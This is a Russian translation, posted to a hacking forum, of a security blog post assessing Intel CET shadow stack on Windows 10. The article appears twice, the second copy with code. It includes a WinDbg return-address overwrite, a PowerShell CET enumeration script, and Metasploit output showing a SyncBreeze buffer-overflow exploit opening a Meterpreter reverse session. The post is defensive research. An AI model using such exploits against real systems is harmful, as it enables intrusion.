Intel CET в действии.
29 Апреля 2021
Частью нашего цикла обновлений курса Advanced Windows Exploitation, является оценка новых техник защит, чтобы понимать, как они работают и как их обойти.
Некоторые из наших исследований для грядущих обновлений курса были сфокусированы на защите с названием Control-flow Enforcement Technology (CET) от Intel. Одной из причин, почему мы решили исследовать CET, было то, что эту защиту называли концом ROP и уязвимостей переполнений буффера в стэке.
Сегодня, большинство эксплойтов против серверных и клиентских приложений используют return oriented programming (ROP).
На момент написания статьи, прошло 6 месяцев с даты релиза CET. Мы проанализируем насколько эффективно CET противостоит реальным эксплойтам, использующим ROP или уязвимости BOF (buffer overflow).
INTEL CONTROL-FLOW ENFORCEMENT TECHNOLOGY
Начнем с анализа существующих исследований о реализации CET в Windows. Используем менее академичный подход, анализируя где и как CET вмешивается в работу эксплойтов.
CET была разработана, как защита с аппаратной поддержкой, но она должна быть включена программно. CET состоит из двух компонентов.
Первый компонент называется Indirect Branch Tracking (IBT), защищает vtable от перезаписи. Microsoft решили не использовать IBT в Windows 10. Вместо этого они полагаются на Control Flaw Guard и на предстоящий eXtended Flow Guard.
Второй компонент, Shadow Stack, не позволяет менять адрес возврата. Во время BOF эксплойты меняют адрес возврата, попадающий в EIP\RIP. ROP тоже зависит от адреса возврата, поэтому Shadow Stack защищает и от этого.
Чтобы показать SS на практики, мы настроили ПК с ЦПУ 11-го поколения и WinDbg. Подключились к процессу с CET и изменили адрес возврата.
Как только адрес возврата изменен и вызван, возникает исключение FAST_FAIL_CONTROL_INVALID_RETURN_ADDRESS. Это вызывает падение приложения и прерывает эксплойт.
Поскольку техника ROP зависит от адреса возврата, CET также защитит от эксплойта с ROP.
Теперь рассмотрим насколько распространена эта техника защиты в Windows 10.
ОНО ВКЛЮЧЕНО?
Сначала разберемся, как вызывается CET. Оценим несколько популярных приложений, являющихся частой целью эксплойтов.
Windows 10 поддерживает CET с версии 19H1, которая вышла до 11-го поколения процессоров Intel. Мало кто знает, что CET не активирован для всей ОС. Приложение само запрпашивает включение защиты.
Это можно сделать через флаг /CETCOMPAT во время компиляции. Проверить включение защиты можно в секции Debug в расширенной характеристике DLL в поле IMAGE_DLLCHARACTERISTICS_EX_CET_COMPAT.
Активировать CET также можно в рантайме, через вызов Win32 API SetProcessMitigationPolicy с флагом ProcessUserShadowStackPolicy.
Shadow Stack не поддерживается в 32х битных и Wow64 процессах, даже на Windows 10 20H2.
Теперь определим какие приложения используют CET.
Эксплойты использующие ROP или BOF обычно нацелены на серверные или клиентские десктопные бинарники.
За последнее десятилетие, основными целями эксплойтов были веб браузеры, PDF и офисные приложения.
Мы настроили полностью обновленный ноутбук с Windows 10 20H2 с веб браузерами последней версии:
Плюс полностью обновленные версии Adobe Reader DC 2021 и Microsoft Office 365.
Большинство из вышеперечисленных приложений состоит из нескольких процессов. При помощи Win32 API GetProcessMitigationPolicy вызванной из PowerShell (Get-ProcessMitigation), определим наличие CET в каждом.
Скрипт для проверки процессов на наличие CET:
Также для каждого процесса определим аргументы командной строки при помощи WMI и командлета Get-CimInstance.
В аргументах командной строки мы ищем параметр "-type=", который равен значению "renderer".
Когда мы пытаемся проэксплуатировать уязвимость в браузере или PDF приложении, обычно это происходит через скрипт код, например javascript. Такие эксплойты нацелены на процесс рендера, который парсит и выполняет скрипт код. Поэтому добавлена ветка else для процессов без CET, но с типом "renderer".
Результат работы скрипта при запущенных приложениях.
Защита CET включена только у Chrome, Edge и Opera. Все три браузера основаны на Chromium, который поддерживает CET с версии 90.
CET включена у некоторых системных процессов, таких как LSASS и svchost.
Интересно, что CET не активен у процесса рендера Chromium браузеров, основной цели большинства эксплойтов.
КАК НАСЧЕТ СТАРОГО ПО?
Рассмотрим защищает ли CET серверные и старые приложения.
Как уже говорилось, CET защищает от эксплойтов, если приложение скомпилировано с ней или активирует ее. Как результат, немного серверных приложений защищены т.е. CET не влияет на текущее или старое ПО.
Проверим это в SyncBreeze, содержащей BOF, на Windows 10.
Если бы была включена CET, уязвимость не удалось бы проэксплуатировать. Но ПО скомпилировано без флага /CETCOMPAT и мы можем использовать эксплойт из Metasploit.
Не удивительно, что эксплойт сработал. Это доказывает, что даже на ЦПУ Intel 11-го поколения, ПО скомпилированное без флага /CETCOMPAT, не защищено.
ПОСЛЕДСТВИЯ ДЛЯ БЕЗОПАСНОСТИ
Несмотря на очень грозную защиту от Intel, неверно утверждать, что ROP и BOF RIP.
Чтобы использовать Shadow Stack, Windows нужен ЦП Intel 11-го поколения или AMD Ryzen 5000 серии, но они будут заполнять рынок несколько лет. Для десктопов и ноутбуков нужна Windows 10 19H1 и новее. Для серверов нужна Windows Server 2019.
Даже на новом железе и ОС, популярное ПО не поддерживает CET в целевых для эксплойтов процессах. 32х битные приложения не поддерживаются вообще.
Процессоры Intel 11го поколения на рынке около 6 месяцев и конечно со временем произойдет адаптация ПО, но идея, что CET уничтожила переполнение буффера в стэке или убило технику эксплуатации ROP, неверна.
В то время как, техники обхода CET разрабатываются исследователями, мы верим, что через несколько лет они станут частью real-world эксплойтов.
REFERENCES
(Yarden Shafir and Alex Ionescu, 2020): https://windows-internals.com/cet-on-windows/
(Yarden Shafir, 2020): https://windows-internals.com/cet-updates-cet-on-xanax/ [1]
(Microsoft, 2020): https://docs.microsoft.com/en-us/cpp/build/reference/cetcompat?view=msvc-160
(Microsoft, 2021): https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#extended-dll-characteristics [2]
(Microsoft, 2018): https://docs.microsoft.com/en-us/wi...-processthreadsapi-setprocessmitigationpolicy [3]
(Microsoft, 2021): https://techcommunity.microsoft.com...rdware-enforced-stack-protection/ba-p/2163340 [4]
(Microsoft, 2018): https://docs.microsoft.com/en-us/wi...-processthreadsapi-getprocessmitigationpolicy [5]
(Microsoft, 2021): https://docs.microsoft.com/en-us/po...t-processmitigation?view=windowsserver2019-ps [6]
(Microsoft, 2021): https://docs.microsoft.com/en-us/powershell/module/cimcmdlets/get-ciminstance?view=powershell-7.1 [7]
Переведено специально для xss.pro
Автор перевода sploitem
Источник: https://www.offensive-security.com/offsec/intel-cet-in-action/
29 Апреля 2021
Частью нашего цикла обновлений курса Advanced Windows Exploitation, является оценка новых техник защит, чтобы понимать, как они работают и как их обойти.
Некоторые из наших исследований для грядущих обновлений курса были сфокусированы на защите с названием Control-flow Enforcement Technology (CET) от Intel. Одной из причин, почему мы решили исследовать CET, было то, что эту защиту называли концом ROP и уязвимостей переполнений буффера в стэке.
Сегодня, большинство эксплойтов против серверных и клиентских приложений используют return oriented programming (ROP).
На момент написания статьи, прошло 6 месяцев с даты релиза CET. Мы проанализируем насколько эффективно CET противостоит реальным эксплойтам, использующим ROP или уязвимости BOF (buffer overflow).
INTEL CONTROL-FLOW ENFORCEMENT TECHNOLOGY
Начнем с анализа существующих исследований о реализации CET в Windows. Используем менее академичный подход, анализируя где и как CET вмешивается в работу эксплойтов.
CET была разработана, как защита с аппаратной поддержкой, но она должна быть включена программно. CET состоит из двух компонентов.
Первый компонент называется Indirect Branch Tracking (IBT), защищает vtable от перезаписи. Microsoft решили не использовать IBT в Windows 10. Вместо этого они полагаются на Control Flaw Guard и на предстоящий eXtended Flow Guard.
Второй компонент, Shadow Stack, не позволяет менять адрес возврата. Во время BOF эксплойты меняют адрес возврата, попадающий в EIP\RIP. ROP тоже зависит от адреса возврата, поэтому Shadow Stack защищает и от этого.
Чтобы показать SS на практики, мы настроили ПК с ЦПУ 11-го поколения и WinDbg. Подключились к процессу с CET и изменили адрес возврата.
Код:
(3208.58f8): Break instruction exception - code 80000003 (first chance)
ntdll!DbgBreakPoint:
00007ff9`57ad0700 cc int 3
0:018> k
# Child-SP RetAddr Call Site
00 000000e4`e4fffca8 00007ff9`57afc84e ntdll!DbgBreakPoint
01 000000e4`e4fffcb0 00007ff9`55b47034 ntdll!DbgUiRemoteBreakin+0x4e
02 000000e4`e4fffce0 00007ff9`57a82651 KERNEL32!BaseThreadInitThunk+0x14
03 000000e4`e4fffd10 00000000`00000000 ntdll!RtlUserThreadStart+0x21
0:018> dqs @rsp L1
000000e4`e4fffca8 00007ff9`57afc84e ntdll!DbgUiRemoteBreakin+0x4e
0:018> eq 000000e4`e4fffca8 414141414141
0:018> k
# Child-SP RetAddr Call Site
00 000000e4`e4fffca8 00004141`41414141 ntdll!DbgBreakPoint
01 000000e4`e4fffcb0 00000000`00000000 0x00004141`41414141
0:018> p
ntdll!DbgBreakPoint+0x1:
00007ff9`57ad0701 c3 ret
0:018> p
(3208.58f8): Security check failure or stack buffer overrun - code c0000409 (!!! second chance !!!)
Subcode: 0x39 FAST_FAIL_CONTROL_INVALID_RETURN_ADDRESS Shadow stack violation
ntdll!DbgBreakPoint+0x1:
00007ff9`57ad0701 c3 ret
Как только адрес возврата изменен и вызван, возникает исключение FAST_FAIL_CONTROL_INVALID_RETURN_ADDRESS. Это вызывает падение приложения и прерывает эксплойт.
Поскольку техника ROP зависит от адреса возврата, CET также защитит от эксплойта с ROP.
Теперь рассмотрим насколько распространена эта техника защиты в Windows 10.
ОНО ВКЛЮЧЕНО?
Сначала разберемся, как вызывается CET. Оценим несколько популярных приложений, являющихся частой целью эксплойтов.
Windows 10 поддерживает CET с версии 19H1, которая вышла до 11-го поколения процессоров Intel. Мало кто знает, что CET не активирован для всей ОС. Приложение само запрпашивает включение защиты.
Это можно сделать через флаг /CETCOMPAT во время компиляции. Проверить включение защиты можно в секции Debug в расширенной характеристике DLL в поле IMAGE_DLLCHARACTERISTICS_EX_CET_COMPAT.
Активировать CET также можно в рантайме, через вызов Win32 API SetProcessMitigationPolicy с флагом ProcessUserShadowStackPolicy.
Shadow Stack не поддерживается в 32х битных и Wow64 процессах, даже на Windows 10 20H2.
Теперь определим какие приложения используют CET.
Эксплойты использующие ROP или BOF обычно нацелены на серверные или клиентские десктопные бинарники.
За последнее десятилетие, основными целями эксплойтов были веб браузеры, PDF и офисные приложения.
Мы настроили полностью обновленный ноутбук с Windows 10 20H2 с веб браузерами последней версии:
- Google Chrome – version 90
- Microsoft Edge Chromium – version 90
- FireFox – version 89
- Opera – version 90
- Tor – version 10
Плюс полностью обновленные версии Adobe Reader DC 2021 и Microsoft Office 365.
Большинство из вышеперечисленных приложений состоит из нескольких процессов. При помощи Win32 API GetProcessMitigationPolicy вызванной из PowerShell (Get-ProcessMitigation), определим наличие CET в каждом.
Скрипт для проверки процессов на наличие CET:
Код:
$procs = Get-Process
foreach ($proc in $procs)
{
try
{
$mitigations = Get-ProcessMitigation -Id $proc.Id
foreach ($mitigation in $mitigations)
{
if($mitigation.UserShadowStack.UserShadowStack -eq "ON")
{
Write-Host "Process name is: $($mitigation.ProcessName)"
Write-Host "ShadowStack is: $($mitigation.UserShadowStack.UserShadowStack)"
$cmdline = (Get-CimInstance Win32_Process -Filter "ProcessId = $($proc.Id)").CommandLine
if($cmdline -like "*--type=*")
{
$type = ((($cmdline -split "--type=")[1]) -split (" "))[0]
Write-Host "App type is: $type"
}
Write-Host ""
}
else
{
$cmdline = (Get-CimInstance Win32_Process -Filter "ProcessId = $($proc.Id)").CommandLine
if($cmdline -like "*--type=*")
{
$type = ((($cmdline -split "--type=")[1]) -split (" "))[0]
if($type -eq "renderer")
{
Write-Host "Process name is: $($mitigation.ProcessName)"
Write-Host "ShadowStack is: $($mitigation.UserShadowStack.UserShadowStack)"
Write-Host "App type is: $type"
Write-Host ""
}
}
}
}
}
catch
{
}
}
Также для каждого процесса определим аргументы командной строки при помощи WMI и командлета Get-CimInstance.
В аргументах командной строки мы ищем параметр "-type=", который равен значению "renderer".
Когда мы пытаемся проэксплуатировать уязвимость в браузере или PDF приложении, обычно это происходит через скрипт код, например javascript. Такие эксплойты нацелены на процесс рендера, который парсит и выполняет скрипт код. Поэтому добавлена ветка else для процессов без CET, но с типом "renderer".
Результат работы скрипта при запущенных приложениях.
Bash:
PS C:\> .\cetenum.ps1
Process name is: AcroRd32
ShadowStack is: OFF
App type is: renderer
Process name is: chrome
ShadowStack is: OFF
App type is: renderer
Process name is: chrome
ShadowStack is: ON
App type is: gpu-process
Process name is: chrome
ShadowStack is: ON
App type is: utility
Process name is: chrome
ShadowStack is: ON
App type is: crashpad-handler
Process name is: conhost
ShadowStack is: ON
Process name is: msedge
ShadowStack is: ON
App type is: crashpad-handler
Process name is: msedge
ShadowStack is: OFF
App type is: renderer
Process name is: msedge
ShadowStack is: ON
App type is: gpu-process
Process name is: msedge
ShadowStack is: ON
App type is: utility
Process name is: opera
ShadowStack is: ON
App type is: utility
Process name is: opera
ShadowStack is: OFF
App type is: renderer
Process name is: opera
ShadowStack is: ON
App type is: gpu-process
Process name is: opera_crashreporter
ShadowStack is: ON
App type is: crashpad-handler
Защита CET включена только у Chrome, Edge и Opera. Все три браузера основаны на Chromium, который поддерживает CET с версии 90.
CET включена у некоторых системных процессов, таких как LSASS и svchost.
Интересно, что CET не активен у процесса рендера Chromium браузеров, основной цели большинства эксплойтов.
КАК НАСЧЕТ СТАРОГО ПО?
Рассмотрим защищает ли CET серверные и старые приложения.
Как уже говорилось, CET защищает от эксплойтов, если приложение скомпилировано с ней или активирует ее. Как результат, немного серверных приложений защищены т.е. CET не влияет на текущее или старое ПО.
Проверим это в SyncBreeze, содержащей BOF, на Windows 10.
Если бы была включена CET, уязвимость не удалось бы проэксплуатировать. Но ПО скомпилировано без флага /CETCOMPAT и мы можем использовать эксплойт из Metasploit.
Bash:
msf6 exploit(windows/http/syncbreeze_bof) > exploit
[*] Started HTTP reverse handler on http://192.168.7.159:8080
[*] Target manually set as Sync Breeze Enterprise v10.0.28
[*] Sending request...
[*] http://192.168.7.159:8080 handling request from 192.168.7.165; (UUID: gv0fywgn) Staging x86 payload (176220 bytes) ...
[*] Meterpreter session 1 opened (192.168.7.159:8080 -> 192.168.7.165:49858) at 2021-04-16 05:47:05 -0400
meterpreter >
Не удивительно, что эксплойт сработал. Это доказывает, что даже на ЦПУ Intel 11-го поколения, ПО скомпилированное без флага /CETCOMPAT, не защищено.
ПОСЛЕДСТВИЯ ДЛЯ БЕЗОПАСНОСТИ
Несмотря на очень грозную защиту от Intel, неверно утверждать, что ROP и BOF RIP.
Чтобы использовать Shadow Stack, Windows нужен ЦП Intel 11-го поколения или AMD Ryzen 5000 серии, но они будут заполнять рынок несколько лет. Для десктопов и ноутбуков нужна Windows 10 19H1 и новее. Для серверов нужна Windows Server 2019.
Даже на новом железе и ОС, популярное ПО не поддерживает CET в целевых для эксплойтов процессах. 32х битные приложения не поддерживаются вообще.
Процессоры Intel 11го поколения на рынке около 6 месяцев и конечно со временем произойдет адаптация ПО, но идея, что CET уничтожила переполнение буффера в стэке или убило технику эксплуатации ROP, неверна.
В то время как, техники обхода CET разрабатываются исследователями, мы верим, что через несколько лет они станут частью real-world эксплойтов.
REFERENCES
(Yarden Shafir and Alex Ionescu, 2020): https://windows-internals.com/cet-on-windows/
(Yarden Shafir, 2020): https://windows-internals.com/cet-updates-cet-on-xanax/ [1]
(Microsoft, 2020): https://docs.microsoft.com/en-us/cpp/build/reference/cetcompat?view=msvc-160
(Microsoft, 2021): https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#extended-dll-characteristics [2]
(Microsoft, 2018): https://docs.microsoft.com/en-us/wi...-processthreadsapi-setprocessmitigationpolicy [3]
(Microsoft, 2021): https://techcommunity.microsoft.com...rdware-enforced-stack-protection/ba-p/2163340 [4]
(Microsoft, 2018): https://docs.microsoft.com/en-us/wi...-processthreadsapi-getprocessmitigationpolicy [5]
(Microsoft, 2021): https://docs.microsoft.com/en-us/po...t-processmitigation?view=windowsserver2019-ps [6]
(Microsoft, 2021): https://docs.microsoft.com/en-us/powershell/module/cimcmdlets/get-ciminstance?view=powershell-7.1 [7]
Переведено специально для xss.pro
Автор перевода sploitem
Источник: https://www.offensive-security.com/offsec/intel-cet-in-action/